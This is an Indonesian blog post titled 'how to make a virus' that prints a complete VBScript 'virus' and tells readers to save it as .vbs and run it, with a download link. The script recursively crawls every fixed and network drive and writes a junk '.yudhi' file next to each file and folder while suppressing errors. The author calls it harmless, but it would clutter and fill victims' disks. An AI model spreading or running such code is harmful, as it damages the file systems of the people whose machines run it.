Thursday, December 26, 2013

Cara membuat Virus

Berikut adalah contoh script virus sederhana buatanku sendiri. efeknya tidak berbahaya bagi komputer, hanya saja bikin sebel.. hehe.. ^___^
virus ini hanya menduplikasi file2 dan folder2 yang ada di setiap drive kemudian menamai file2 dan folder2 tersebut dengan ekstensi *.yudhi.
virus ini dibuat dengan bahasa pemrograman visual basic script.

berikut script virus tersebut..
================================================
rem – “shinobi303 virus" – By shinobi303
rem – dibuat : 7 Maret 2011
On Error Resume Next
dim A,B,C
set A=CreateObject(“Scripting.FileSystemObject”)
B=”Hallo! jangan khawatir…aku tidak berbahaya… tp sedikit mengganggu.. – by shinobi303″
B=replace(B,chr(42),chr(68))
B=replace(B,chr(124),chr(46))
C=replace(B,chr(37),chr(76))
n Error Resume Next
dim D,E
set E=A.Drives
for each D in E
if (D.DriveType=2)or(D.DriveType=3) then
indexFolders(D.Path&”\”)
end If
next
sub indexFolders(location)
On Error Resume Next
dim F,file,G,duplicate
set F=A.GetFolder(location)
set G=F.SubFolders
for each file in G
set duplicate = A.CreateTextFile(file.Path&”.yudhi”, 2, True)
duplicate.write C
duplicate.Close
writeData(file.Path)
indexFolders(file.Path)
next
end sub
sub writeData(location)
On Error Resume Next
dim folder,directory,file,duplicate
set folder=A.GetFolder(location)
set directory=folder.Files
for each file in directory
set duplicate = A.CreateTextFile(file.Path&”.yudhi”, 2, True)
duplicate.write C
duplicate.Close
next
end sub
================================================

simpan dengan ekstensi *.vbs, Kemudian jalankan..
bisa juga didownload disini => http://www.4shared.com/file/WZ9wtHin/shinobi303.html
selamat mencoba..

Newer Post Older Post Home

0 comments:

Post a Comment